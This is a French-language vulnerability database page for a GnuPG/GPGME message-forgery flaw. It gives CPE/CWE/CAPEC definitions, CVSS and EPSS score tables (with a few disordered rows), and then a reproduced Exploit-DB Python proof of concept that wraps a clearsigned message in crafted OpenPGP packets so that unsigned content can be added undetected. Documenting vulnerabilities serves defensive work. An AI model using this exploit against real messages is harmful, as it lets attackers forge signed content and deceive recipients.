CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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GnuPG 1.4.6 and earlier and GPGME before 1.1.4, when run from the command line, does not visually distinguish signed and unsigned portions of OpenPGP messages with multiple components, which might allow remote attackers to forge the contents of a message without detection.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
12.57%
–
–
2022-04-03
–
–
12.57%
–
–
2023-02-26
–
–
12.57%
–
–
2023-03-12
–
–
–
8.66%
–
2023-04-16
–
–
–
8.66%
–
2023-07-02
–
–
–
9.18%
–
2023-08-13
–
–
–
10.54%
–
2023-09-17
–
–
–
10.39%
–
2023-12-03
–
–
–
11.83%
–
2024-01-14
–
–
–
29.58%
–
2024-02-04
–
–
–
29.58%
–
2024-02-18
–
–
–
27.44%
–
2024-06-02
–
–
–
27.44%
–
2024-06-09
–
–
–
–
–
2024-06-09
–
–
–
29.41%
–
2024-08-04
–
–
–
28.75%
–
2024-09-15
–
–
–
32.49%
–
2024-11-10
–
–
–
30.93%
–
2024-12-22
–
–
–
32.46%
–
2025-01-26
–
–
–
34.77%
–
2025-01-19
–
–
–
32.46%
–
2025-01-25
–
–
–
34.77%
–
2025-03-18
–
–
–
–
16.8%
2025-04-15
–
–
–
–
16.8%
2025-04-15
–
–
–
–
16.8,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2007-03-04 23h00 +00:00 Auteur : Gerardo Richarte EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/22757/info
GnuPG is prone to a weakness that may allow an attacker to add arbitrary content into a message without the end user knowing.
An attacker may be able to exploit this issue in applications using GnuPG to add arbitrary content into a signed and/or encrypted message.
Exploiting this issue depends on the individual application's use of GnuPG. Individual records will be created detailing this issue in affected applications.
#!/usr/bin/python
import os, gpg, sys, base64
clear_sign = open(sys.argv[1], "rb").read().splitlines()
start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")
text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])
onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1
plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62
signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)
compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]
pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed
os.write(1,str(pkt))